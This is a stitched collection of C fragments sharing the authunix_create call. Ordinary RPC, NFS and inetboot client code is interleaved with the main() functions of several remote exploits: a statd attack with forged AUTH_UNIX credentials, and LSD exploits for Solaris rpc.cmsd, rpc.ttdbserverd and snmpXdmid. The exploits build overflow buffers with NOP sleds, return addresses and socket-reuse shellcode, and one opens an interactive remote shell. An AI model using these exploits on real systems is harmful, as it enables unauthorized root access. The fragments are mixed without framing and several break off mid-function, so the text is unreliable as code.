/* * Returns an auth handle with parameters determined by doing lots of * syscalls. */ AUTH * authunix_create_default(void) { int len, i; char machname[MAX_MACHINE_NAME + 1]; uid_t uid; gid_t gid; gid_t gids[NGRPS]; int gids2[NGRPS]; if (gethostname(machname, sizeof machname) == -1) return (NULL); machname[MAX_MACHINE_NAME] = 0; uid = geteuid(); gid = getegid(); if ((len = getgroups(NGRPS, gids)) < 0) return (NULL); if (len > maxgrplist) len = maxgrplist; for (i = 0; i < len; i++) gids2[i] = gids[i]; return (authunix_create(machname, uid, gid, len, gids2)); }
static AUTH * nfs_getauth(struct nfsmount *nmp, struct ucred *cred) { #ifdef KGSSAPI rpc_gss_service_t svc; AUTH *auth; #endif switch (nmp->nm_secflavor) { #ifdef KGSSAPI case RPCSEC_GSS_KRB5: case RPCSEC_GSS_KRB5I: case RPCSEC_GSS_KRB5P: if (!nmp->nm_mech_oid) { if (!rpc_gss_mech_to_oid("kerberosv5", &nmp->nm_mech_oid)) return (NULL); } if (nmp->nm_secflavor == RPCSEC_GSS_KRB5) svc = rpc_gss_svc_none; else if (nmp->nm_secflavor == RPCSEC_GSS_KRB5I) svc = rpc_gss_svc_integrity; else svc = rpc_gss_svc_privacy; auth = rpc_gss_secfind(nmp->nm_client, cred, nmp->nm_principal, nmp->nm_mech_oid, svc); if (auth) return (auth); /* fallthrough */ #endif case AUTH_SYS: default: return (authunix_create(cred)); } }
int main(int argc, char **argv) { int ch; char *buff; CLIENT *clnt; enum clnt_stat res; struct timeval tv, tvr; struct sm_name smname; struct sm_stat_res smres; struct sockaddr_in addr; int type = -1; int usetcp = 0; int timeout = 5; int wipe = 9; int offset = 600; int buflen = 1024; char *target; char *sc = shellcode; u_short port = 0; u_long bufpos = 0; int sockp = RPC_ANYSOCK; extern char *optarg; extern int optind; extern int opterr; opterr = 0; while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) { switch(ch) { case 't': usetcp = 1; break; case 'p': sscanf(optarg, "%hu", &port); break; case 'a': sscanf(optarg, "%lx", &bufpos); break; case 'l': buflen = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 's': timeout = atoi(optarg); break; case 'w': wipe = atoi(optarg); break; case 'd': type = atoi(optarg); break; default : usage(argv[0]); } } if(!(target = argv[optind])) { fprintf(stderr, "No target host specified\n"); exit(EXIT_FAILURE); } if(type >= 0) { if(type >= sizeof types / sizeof types[0] - 1) { fprintf(stderr, "Invalid type\n"); exit(EXIT_FAILURE); } sc = types[type].code; bufpos = types[type].bufpos; buflen = types[type].buflen; offset = types[type].offset; wipe = types[type].wipe; } if(!bufpos) { fprintf(stderr, "No buffer address specified\n"); exit(EXIT_FAILURE); } bzero(&addr, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = getip(target); tv.tv_sec = timeout; tv.tv_usec = 0; if(!usetcp) { clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); if(clnt == NULL) { clnt_pcreateerror("clntudp_create()"); exit(EXIT_FAILURE); } tvr.tv_sec = 2; tvr.tv_usec = 0; clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); } else { clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); if(clnt == NULL) { clnt_pcreateerror("clnttcp_create()"); exit(EXIT_FAILURE); } } /* AUTH_UNIX / AUTH_SYS authentication forgery */ clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); buff = wizardry(sc, bufpos, buflen, offset, wipe); smname.mon_name = buff; res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, (caddr_t) &smres, tv); if(res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call()"); printf("A timeout was expected. Attempting connection to shell..\n"); sleep(5); connection(addr); printf("Failed\n"); } else { printf("Failed - statd returned res_stat: (%s) state: %d\n", smres.res_stat ? "failure" : "success", smres.state); } free(buff); clnt_destroy(clnt); return -1; }
main(int argc,char **argv){ char buffer[30000],address[4],*b,*cmd; int i,c,n,flag=0,vers=7,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req1_t req1;req2_t req2;appt_t ap; char calendar[32]; printf("copyright LAST STAGE OF DELIRIUM jul 1999 poland //lsd-pl.net/\n"); printf("rpc.cmsd for solaris 2.5 2.5.1 2.6 2.7 sparc\n\n"); if(argc<2){ printf("usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]\n", argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"tsc:p:v:"))!=-1){ switch(c){ case 't': flag|=4;break; case 's': flag|=2;break; case 'c': flag|=1;cmd=optarg;break; case 'p': port=atoi(optarg);break; case 'v': vers=atoi(optarg); } } if(vers==5) *(unsigned long*)address=htonl(0xefffcf48+600); if(vers==6) *(unsigned long*)address=htonl(0xefffed0c+100); if(vers==7) *(unsigned long*)address=htonl(0xffbeea8c+600); printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("\nerror");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); }else{ if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){ errno=EADDRNOTAVAIL;perror("\nerror");exit(-1); } } if((b=(char*)strchr(hp->h_name,'.'))!=NULL) *b=0; if(flag&4){ sck=RPC_ANYSOCK; if(!(cl=clntudp_create(&adr,CMSD_PROG,CMSD_VERS,tm,&sck))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl,CMSD_PING,xdr_void,NULL,xdr_void,NULL,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);} clnt_destroy(cl); if(flag==4) {printf("sent!\n");exit(0);} } adr.sin_port=htons(port); sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,CMSD_PROG,CMSD_VERS,&sck,0,0))){ clnt_pcreateerror("\nerror");exit(-1); } cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL); sprintf(calendar,"xxx.XXXXXX"); req1.target=mktemp(calendar); req1.new_target=""; stat=clnt_call(cl,CMSD_CREATE,xdr_req1,&req1,xdr_void,NULL,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);} b=buffer; for(i=0;i<ADRNUM;i++) *b++=address[i%4]; *b=0; b=&buffer[2000]; for(i=0;i<2;i++) *b++=0xff; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; if(flag&2){ i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct{unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck,(('T'<<8)|144),&nb); } n=-ntohs(adr.sin_port); printf("port=%d connected! ",-n);fflush(stdout); *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff); *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff); for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; }else{
/* * This routine will open a device as it is known by the V2 OBP. It * then goes thru the stuff necessary to initialize the network device, * get our network parameters, (using DHCP or rarp/bootparams), and * finally actually go and get the root filehandle. Sound like fun? * Suuurrrree. Take a look. * * Returns 0 if things worked. -1 if we crashed and burned. */ int boot_nfs_mountroot(char *str) { int status; enum clnt_stat rpc_stat; char *root_path = &root_pathbuf[0]; /* to make XDR happy */ struct timeval wait; int fd; int bufsize; char *opts, *val; int nfs_version = 0; int istcp = 1; int nfs_port = 0; /* Cause pmap to get port */ struct sockaddr_in tmp_addr; /* throw away */ if (root_CLIENT != NULL) { AUTH_DESTROY(root_CLIENT->cl_auth); CLNT_DESTROY(root_CLIENT); root_CLIENT = NULL; } root_to.sin_family = AF_INET; root_to.sin_addr.s_addr = htonl(INADDR_ANY); root_to.sin_port = htons(0); mac_init(str); (void) ipv4_setpromiscuous(TRUE); if (get_netconfig_strategy() == NCT_BOOTP_DHCP) { if (boothowto & RB_VERBOSE) printf("Using BOOTP/DHCP...\n"); if (dhcp() != 0 || setup_root_vars() != 0) { (void) ipv4_setpromiscuous(FALSE); if (boothowto & RB_VERBOSE) printf("BOOTP/DHCP configuration failed!\n"); return (-1); } /* now that we have an IP address, turn off promiscuous mode */ (void) ipv4_setpromiscuous(FALSE); } else { /* Use RARP/BOOTPARAMS. RARP will try forever... */ if (boothowto & RB_VERBOSE) printf("Using RARP/BOOTPARAMS...\n"); mac_call_rarp(); /* * Since there is no way to determine our netmask, and therefore * figure out if the router we got is useful, we assume all * services are local. Use DHCP if this bothers you. */ dontroute = TRUE; /* * We are trying to keep the ARP response * timeout on the lower side with BOOTP/RARP. * We are doing this for BOOTP/RARP where policy * doesn't allow to route the packets outside * the subnet as it has no idea about the * netmask. By doing so, we are reducing * ARP response timeout for any packet destined * for outside booting clients subnet. Client can * not expect such ARP replies and will finally * timeout after a long delay. This would cause * booting client to get stalled for a longer * time. We can not avoid accepting any outside * subnet packets accidentally destined for the * booting client. */ mac_set_arp_timeout(ARP_INETBOOT_TIMEOUT); /* now that we have an IP address, turn off promiscuous mode */ (void) ipv4_setpromiscuous(FALSE); /* get our hostname */ if (whoami() == FALSE) return (-1); /* get our bootparams. */ if (getfile("root", root_hostname, &root_to.sin_addr, root_pathbuf) == FALSE) return (-1); /* get our rootopts. */ (void) getfile("rootopts", root_hostname, &tmp_addr.sin_addr, rootopts); } /* mount root */ if (boothowto & RB_VERBOSE) { printf("root server: %s (%s)\n", root_hostname, inet_ntoa(root_to.sin_addr)); printf("root directory: %s\n", root_pathbuf); } /* * Assumes we've configured the stack and thus know our * IP address/hostname, either by using DHCP or rarp/bootparams. */ gethostname(my_hostname, sizeof (my_hostname)); wait.tv_sec = RPC_RCVWAIT_MSEC / 1000; wait.tv_usec = 0; /* * Parse out the interesting root options, if an invalid * or unknown option is provided, silently ignore it and * use the defaults. */ opts = rootopts; while (*opts) { int ival; switch (getsubopt(&opts, optlist, &val)) { case OPT_RSIZE: if (val == NULL || !isdigit(*val)) break; nfs_readsize = atoi(val); break; case OPT_TIMEO: if (val == NULL || !isdigit(*val)) break; ival = atoi(val); wait.tv_sec = ival / 10; wait.tv_usec = (ival % 10) * 100000; break; case OPT_VERS: if (val == NULL || !isdigit(*val)) break; nfs_version = atoi(val); break; case OPT_PROTO: if (val == NULL || isdigit(*val)) break; if ((strncmp(val, "udp", 3) == 0)) istcp = 0; else istcp = 1; /* must be tcp */ break; case OPT_PORT: if (val == NULL || !isdigit(*val)) break; nfs_port = atoi(val); /* * Currently nfs_dlinet.c doesn't support setting * the root NFS port. Delete this when it does. */ nfs_port = 0; break; default: /* * Unknown options are silently ignored */ break; } } /* * If version is set, then try that version first. */ switch (nfs_version) { case NFS_VERSION: if (nfsmountroot(root_path, &roothandle) == 0) goto domount; break; case NFS_V3: if (nfs3mountroot(root_path, &roothandle) == 0) goto domount; break; case NFS_V4: /* * With v4 we skip the mount and go straight to * setting the root filehandle. Because of this we * do things slightly differently and obtain our * client handle first. */ if (istcp && nfs4init(root_path, nfs_port) == 0) { /* * If v4 init succeeded then we are done. Just return. */ return (0); } } /* * If there was no chosen version or the chosen version failed * try all versions in order, this may still fail to boot * at the kernel level if the options are not right, but be * generous at this early stage. */ if (istcp && nfs4init(root_path, nfs_port) == 0) { /* * If v4 init succeeded then we are done. Just return. */ return (0); } if (nfs3mountroot(root_path, &roothandle) == 0) goto domount; if ((status = nfsmountroot(root_path, &roothandle)) != 0) return (status); domount: /* * Only v2 and v3 go on from here. */ roothandle.offset = (uint_t)0; /* it's a directory! */ root_to.sin_port = htons(nfs_port); /* NFS is next after mount */ /* * Create the CLIENT handle for NFS operations */ if (roothandle.version == NFS_VERSION) bufsize = NFSBUF_SIZE; else bufsize = NFS3BUF_SIZE; /* * First try TCP then UDP (unless UDP asked for explicitly), if mountd * alows this version but neither transport is available we are stuck. */ if (istcp) { fd = -1; root_CLIENT = clntbtcp_create(&root_to, NFS_PROGRAM, roothandle.version, wait, &fd, bufsize, bufsize); if (root_CLIENT != NULL) { root_CLIENT->cl_auth = authunix_create(my_hostname, 0, 1, 1, &fake_gids); /* * Send NULL proc, check if the server really exists */ rpc_stat = CLNT_CALL(root_CLIENT, 0, xdr_void, NULL, xdr_void, NULL, wait); if (rpc_stat == RPC_SUCCESS) return (0); AUTH_DESTROY(root_CLIENT->cl_auth); CLNT_DESTROY(root_CLIENT); root_CLIENT = NULL; } /* Fall through to UDP case */ } fd = -1; root_CLIENT = clntbudp_bufcreate(&root_to, NFS_PROGRAM, roothandle.version, wait, &fd, bufsize, bufsize); if (root_CLIENT == NULL) return (-1); root_CLIENT->cl_auth = authunix_create(my_hostname, 0, 1, 1, &fake_gids); /* * Send NULL proc, check if the server really exists */ rpc_stat = CLNT_CALL(root_CLIENT, 0, xdr_void, NULL, xdr_void, NULL, wait); if (rpc_stat == RPC_SUCCESS) return (0); AUTH_DESTROY(root_CLIENT->cl_auth); CLNT_DESTROY(root_CLIENT); root_CLIENT = NULL; return (-1); }
/* * Setup v4 client for inetboot */ static int nfs4init(char *path, uint16_t nfs_port) { struct timeval wait; int fd = -1; int error = 0; enum clnt_stat rpc_stat; struct nfs_file rootpath; wait.tv_sec = RPC_RCVWAIT_MSEC / 1000; wait.tv_usec = 0; /* * If we haven't explicitly set the port number, set to the standard * 2049 and don't cause a rpcbind request. */ if (nfs_port == 0) nfs_port = 2049; root_to.sin_port = htons(nfs_port); /* * Support TCP only */ root_CLIENT = clntbtcp_create(&root_to, NFS_PROGRAM, NFS_V4, wait, &fd, NFS4BUF_SIZE, NFS4BUF_SIZE); if (root_CLIENT == NULL) { root_to.sin_port = 0; return (-1); } root_CLIENT->cl_auth = authunix_create(my_hostname, 0, 1, 1, &fake_gids); /* * Send NULL proc the server first to see if V4 exists */ rpc_stat = CLNT_CALL(root_CLIENT, NFSPROC4_NULL, xdr_void, NULL, xdr_void, NULL, wait); if (rpc_stat != RPC_SUCCESS) { dprintf("boot: NULL proc failed NFSv4 service not available\n"); AUTH_DESTROY(root_CLIENT->cl_auth); CLNT_DESTROY(root_CLIENT); root_to.sin_port = 0; return (-1); } /* * Do a lookup to get to the root_path. This is nice since it can * handle multicomponent lookups. */ roothandle.version = NFS_V4; roothandle.ftype.type4 = NF4DIR; roothandle.fh.fh4.len = 0; /* Force a PUTROOTFH */ roothandle.offset = (uint_t)0; /* it's a directory! */ error = lookup(path, &rootpath, TRUE); if (error) { printf("boot: lookup %s failed\n", path); return (-1); } roothandle = rootpath; /* structure copy */ /* * Hardwire in a known reasonable upper limit of 32K */ nfs_readsize = nfs_readsize < 32 * 1024 ? nfs_readsize : 32 * 1024; /* * Set a reasonable lower limit on readsize */ nfs_readsize = (nfs_readsize != 0 && nfs_readsize < 512) ? 512 : nfs_readsize; return (0); }
/* * our version of brpc_call(). We cache in portnumber in to->sin_port for * your convenience. to and from addresses are taken and received in network * order. */ enum clnt_stat brpc_call( rpcprog_t prog, /* rpc program number to call. */ rpcvers_t vers, /* rpc program version */ rpcproc_t proc, /* rpc procedure to call */ xdrproc_t in_xdr, /* routine to serialize arguments */ caddr_t args, /* arg vector for remote call */ xdrproc_t out_xdr, /* routine to deserialize results */ caddr_t ret, /* addr of buf to place results in */ int rexmit, /* retransmission interval (secs) */ int wait_time, /* how long (secs) to wait (resp) */ struct sockaddr_in *to, /* destination */ struct sockaddr_in *from_who, /* responder's port/address */ uint_t auth) /* type of auth wanted. */ { int s; char hostname[MAXHOSTNAMELEN]; struct sockaddr_in from; /* us. */ socklen_t from_len; XDR xmit_xdrs, rcv_xdrs; /* xdr memory */ AUTH *xmit_auth; /* our chosen auth cookie */ gid_t fake_gids = 1; /* fake gids list for auth_unix */ caddr_t trm_msg, rcv_msg; /* outgoing/incoming rpc mesgs */ struct rpc_msg reply; /* our reply msg header */ int trm_len, rcv_len; struct rpc_err rpc_error; /* to store RPC errors in on rcv. */ static uint_t xid; /* current xid */ uint_t xmit_len; /* How much of the buffer we used */ int nrefreshes = 2; /* # of times to refresh cred */ int flags = 0; /* send flags */ uint_t xdelay; int errors, preserve_errno; uint32_t timeout; socklen_t optlen; xmit_auth = NULL; trm_len = mac_get_mtu(); trm_msg = bkmem_alloc(trm_len); rcv_msg = bkmem_alloc(NFSBUF_SIZE); if (trm_msg == NULL || rcv_msg == NULL) { errno = ENOMEM; rpc_error.re_status = RPC_CANTSEND; goto gt_error; } if ((s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { rpc_error.re_status = RPC_CANTSEND; goto gt_error; } if (dontroute) { (void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (const void *)&dontroute, sizeof (dontroute)); } if (to->sin_addr.s_addr == cached_destination.s_addr) { optlen = sizeof (timeout); (void) getsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (void *)&timeout, &optlen); } else { cached_destination.s_addr = htonl(INADDR_ANY); } /* Bind our endpoint. */ from.sin_family = AF_INET; ipv4_getipaddr(&from.sin_addr); from.sin_addr.s_addr = htonl(from.sin_addr.s_addr); from.sin_port = get_source_port(B_TRUE); if (bind(s, (struct sockaddr *)&from, sizeof (from)) < 0) { rpc_error.re_status = RPC_CANTSEND; goto gt_error; } bzero((caddr_t)&rpc_error, sizeof (struct rpc_err)); /* initialize reply's rpc_msg struct, so we can decode later. */ reply.acpted_rply.ar_verf = _null_auth; /* struct copy */ reply.acpted_rply.ar_results.where = ret; reply.acpted_rply.ar_results.proc = out_xdr; if (ntohs(to->sin_port) == 0) { /* snag the udp port we need. */ if ((to->sin_port = (in_port_t)bpmap_getport(prog, vers, &(rpc_error.re_status), to, NULL)) == 0) goto gt_error; to->sin_port = htons(to->sin_port); } /* generate xid - increment */ if (xid == 0) xid = (uint_t)(prom_gettime() / 1000) + 1; else xid++; /* set up outgoing pkt as xdr modified. */ xdrmem_create(&xmit_xdrs, trm_msg, trm_len, XDR_ENCODE); /* setup rpc header */ if (rpc_hdr(&xmit_xdrs, xid, prog, vers, proc) != TRUE) { dprintf("brpc_call: cannot setup rpc header.\n"); rpc_error.re_status = RPC_FAILED; goto gt_error; } /* setup authentication */ switch (auth) { case AUTH_NONE: xmit_auth = authnone_create(); break; case AUTH_UNIX: /* * Assumes we've configured the stack and thus know our * IP address/hostname, either by using DHCP or rarp/bootparams. */ gethostname(hostname, sizeof (hostname)); xmit_auth = authunix_create(hostname, 0, 1, 1, &fake_gids); break; default: dprintf("brpc_call: Unsupported authentication type: %d\n", auth); rpc_error.re_status = RPC_AUTHERROR; goto gt_error; /*NOTREACHED*/ } /* * rpc_hdr puts everything in the xmit buffer for the header * EXCEPT the proc. Put it, and our authentication info into * it now, serializing as we go. We will be at the place where * we left off. */ xmit_xdrs.x_op = XDR_ENCODE; if ((XDR_PUTINT32(&xmit_xdrs, (int32_t *)&proc) == FALSE) || (AUTH_MARSHALL(xmit_auth, &xmit_xdrs, NULL) == FALSE) || ((*in_xdr)(&xmit_xdrs, args) == FALSE)) { rpc_error.re_status = RPC_CANTENCODEARGS; goto gt_error; } else xmit_len = (int)XDR_GETPOS(&xmit_xdrs); /* for sendto */ /* * Right now the outgoing packet should be all serialized and * ready to go... Set up timers. */ xdelay = (rexmit == 0) ? RPC_REXMIT_MSEC : (rexmit * 1000); (void) setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (void *)&xdelay, sizeof (xdelay)); wait_time = (wait_time == 0) ? RPC_RCVWAIT_MSEC : (wait_time * 1000); wait_time += prom_gettime(); /* * send out the request. The first item in the receive buffer will * be the xid. Check if it is correct. */ errors = 0; rpc_error.re_status = RPC_TIMEDOUT; do { if (sendto(s, trm_msg, xmit_len, flags, (struct sockaddr *)to, sizeof (struct sockaddr_in)) < 0) { /* * If errno is set to ETIMEDOUT, return * with RPC status as RPC_TIMEDOUT. Calling * funciton will take care of this error by * retrying the RPC call. */ if (errno == ETIMEDOUT) { rpc_error.re_status = RPC_TIMEDOUT; } else { rpc_error.re_status = RPC_CANTSEND; } goto gt_error; } from_len = sizeof (struct sockaddr_in); while ((rcv_len = recvfrom(s, rcv_msg, NFSBUF_SIZE, MSG_DONTWAIT, (struct sockaddr *)from_who, &from_len)) > 0 || errors < RPC_ALLOWABLE_ERRORS) { if (rcv_len < 0) { if (errno == EWOULDBLOCK || errno == ETIMEDOUT) { break; /* timeout */ } rpc_error.re_status = RPC_CANTRECV; goto gt_error; } if (ntohl(*((uint32_t *)(rcv_msg))) != xid) { dprintf("brpc_call: xid: 0x%x != 0x%x\n", *(uint32_t *)(rcv_msg), xid); continue; } /* * Let's deserialize the data into our 'ret' buffer. */ xdrmem_create(&rcv_xdrs, rcv_msg, rcv_len, XDR_DECODE); if (xdr_replymsg(&rcv_xdrs, &reply) == FALSE) { rpc_error.re_status = RPC_CANTDECODERES; goto gt_error; } _seterr_reply(&reply, &rpc_error); switch (rpc_error.re_status) { case RPC_SUCCESS: /* * XXX - validate for unix and none * always return true. */ if (AUTH_VALIDATE(xmit_auth, &reply.acpted_rply.ar_verf) == FALSE) { rpc_error.re_status = RPC_AUTHERROR; rpc_error.re_why = AUTH_INVALIDRESP; errors++; } if (reply.acpted_rply.ar_verf.oa_base != 0) { xmit_xdrs.x_op = XDR_FREE; (void) xdr_opaque_auth( &xmit_xdrs, &reply.acpted_rply.ar_verf); } break; case RPC_AUTHERROR: /* * Let's see if our credentials need * refreshing */ if (nrefreshes > 0 && AUTH_REFRESH(xmit_auth, NULL, NULL)) { nrefreshes--; } errors++; break; case RPC_PROCUNAVAIL: /* * Might be a silly portmapper implementation * erroneously responding to our rpc broadcast * indirect portmapper call. For this * particular case, we don't increment the * error counter because we want to keep * sifting for successful replies... */ if (to->sin_addr.s_addr != ntohl(INADDR_BROADCAST)) errors++; break; case RPC_PROGVERSMISMATCH: /* * Successfully talked to server, but they * don't speak our lingo. */ goto gt_error; default: /* Just keep trying till there's no data... */ errors++; break; } if (rpc_error.re_status != RPC_SUCCESS) { dprintf("brpc_call: from: %s, error: ", inet_ntoa(from_who->sin_addr)); rpc_disperr(&rpc_error); } else break; } /* * If we're having trouble reassembling datagrams, let the * application know ASAP so that it can take the appropriate * actions. */ } while (rpc_error.re_status != RPC_SUCCESS && errno != ETIMEDOUT && prom_gettime() < wait_time); gt_error: if (xmit_auth != NULL) AUTH_DESTROY(xmit_auth); if (trm_msg != NULL) bkmem_free(trm_msg, trm_len); if (rcv_msg != NULL) bkmem_free(rcv_msg, NFSBUF_SIZE); if (rpc_error.re_status != RPC_SUCCESS) rpc_disperr(&rpc_error); /* * socket calls reset errno. Since we want to hold onto the errno * value if it is ETIMEDOUT to communicate to our caller that this * RPC_TIMEDOUT situation is due to a stack problem (we're getting * a reply, but the stack simply can't assemble it.), we need to * preserve errno's value over the socket_close(). */ preserve_errno = (errno == ETIMEDOUT) ? errno : 0; (void) socket_close(s); errno = preserve_errno; return (rpc_error.re_status); }
main(int argc,char **argv){ char buffer[30000],address[4],*b,*cmd; int i,c,n,flag=1,vers=0,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/\n"); printf("rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc\n\n"); if(argc<2){ printf("usage: %s address [-s|-c command] [-p port] [-v 6]\n",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){ switch(c){ case 's': flag=1;break; case 'c': flag=0;cmd=optarg;break; case 'p': port=atoi(optarg);break; case 'v': vers=atoi(optarg); } } if(vers==6){ *(unsigned long*)address=htonl(0xeffff420+1200+552); adrnum=1200; nopnum=1300; }else{ *(unsigned long*)address=htonl(0xefffdadc+1000+4500); adrnum=3000; nopnum=6000; } printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){ clnt_pcreateerror("error");exit(-1); } cl->cl_auth=authunix_create("localhost",0,0,0,NULL); b=buffer; for(i=0;i<adrnum;i++) *b++=address[i%4]; for(i=0;i<nopnum;i++) *b++=nop[i%4]; if(flag){ i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct{unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck,(('T'<<8)|144),&nb); } n=-ntohs(adr.sin_port); printf("port=%d connected! ",-n);fflush(stdout); *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff); *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff); for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; }else{ for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
main(int argc,char **argv){ char buffer[140000],address[4],pch[4],*b; int i,c,n,vers=-1,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n"); printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n"); if(argc<2){ printf("usage: %s address [-p port] -v 7|8\n",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){ switch(c){ case 'p': port=atoi(optarg);break; case 'v': vers=atoi(optarg); } } switch(vers){ case 7: *(unsigned int*)address=0x000b1868;break; case 8: *(unsigned int*)address=0x000cf2c0;break; default: exit(-1); } *(unsigned long*)pch=htonl(*(unsigned int*)address+32000); *(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000); printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){ clnt_pcreateerror("error");exit(-1); } cl->cl_auth=authunix_create("localhost",0,0,0,NULL); i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct{unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck,(('T'<<8)|144),&nb); } n=ntohs(adr.sin_port); printf("port=%d connected! ",n);fflush(stdout); findsckcode[12+2]=(unsigned char)((n&0xff00)>>8); findsckcode[12+3]=(unsigned char)(n&0xff); b=&buffer[0]; for(i=0;i<1248;i++) *b++=pch[i%4]; for(i=0;i<352;i++) *b++=address[i%4]; *b=0; b=&buffer[10000]; for(i=0;i<64000;i++) *b++=0; for(i=0;i<64000-188;i++) *b++=nop[i%4]; for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; req.name.len=1200+400+4; req.name.val=&buffer[0]; req.pragma.len=128000+4; req.pragma.val=&buffer[10000]; stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm); if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);} printf("sent!\n"); write(sck,"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck,buf,cnt); } if(FD_ISSET(sck,&fds)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } }